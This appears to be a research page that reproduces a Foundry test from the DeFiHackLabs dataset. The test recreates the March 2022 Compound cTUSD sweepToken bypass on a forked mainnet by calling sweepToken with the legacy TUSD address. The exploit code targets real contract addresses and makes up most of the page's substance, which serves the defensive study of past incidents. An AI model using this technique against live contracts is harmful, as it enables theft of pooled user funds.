Public reproduction file
src/test/2022-03/CompoundTusd_exp.sol
Public reproduction file for dataset entry CompoundTUSDSweepTokenBypass.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7contract ContractTest is Test {8 ICErc20Delegate cTUSD = ICErc20Delegate(0x12392F67bdf24faE0AF363c24aC620a2f67DAd86);9 IERC20 tusd = IERC20(0x0000000000085d4780B73119b644AE5ecd22b376);10 address tusdLegacy = 0x8dd5fbCe2F6a956C3022bA3663759011Dd51e73E;11 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);13 function setUp() public {14 cheats.createSelectFork("mainnet", 14_266_479); // fork mainnet at block 1426647915 }17 function testExample() public {18 emit log_named_uint("Before exploit, Compound TUSD balance:", tusd.balanceOf(address(cTUSD)));19 cTUSD.sweepToken(tusdLegacy);20 emit log_named_uint("After exploit, Compound TUSD balance:", tusd.balanceOf(address(cTUSD)));21 }22}Analysis
Dataset entry
Public Foundry test for “CompoundTUSDSweepTokenBypass” (2022-03-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
13 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-03/Agave_exp.solSame month in the dataset · 208 lines
- src/test/2022-03/Auctus_exp.solSame month in the dataset · 62 lines
- src/test/2022-03/Bacon_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/Fantasm_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/HundredFinance_exp.solSame month in the dataset · 142 lines
- src/test/2022-03/LiFi_exp.solSame month in the dataset · 412 lines
- src/test/2022-03/OneRing_exp.solSame month in the dataset · 31 lines
- src/test/2022-03/Paraluni_exp.solSame month in the dataset · 89 lines
- src/test/2022-03/RedactedCartel_exp.solSame month in the dataset · 76 lines
- src/test/2022-03/Revest_exp.solSame month in the dataset · 67 lines
- src/test/2022-03/Ronin_exp.solSame month in the dataset · 52 lines
- src/test/2022-03/TreasureDAO_exp.solSame month in the dataset · 30 lines
- src/test/2022-03/Umbrella_exp.solSame month in the dataset · 46 lines
File record
- Name
- CompoundTUSDSweepTokenBypass
- Path
- src/test/2022-03/CompoundTusd_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- eda5a449229e98edcf3026a4d19a9ee9b8d593d1
- Language
- Solidity
- Size
- 23 lines
- Date
- 2022-03-22
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-03/CompoundTusd_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob eda5a449229e98edcf3026a4d19a9ee9b8d593d1, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.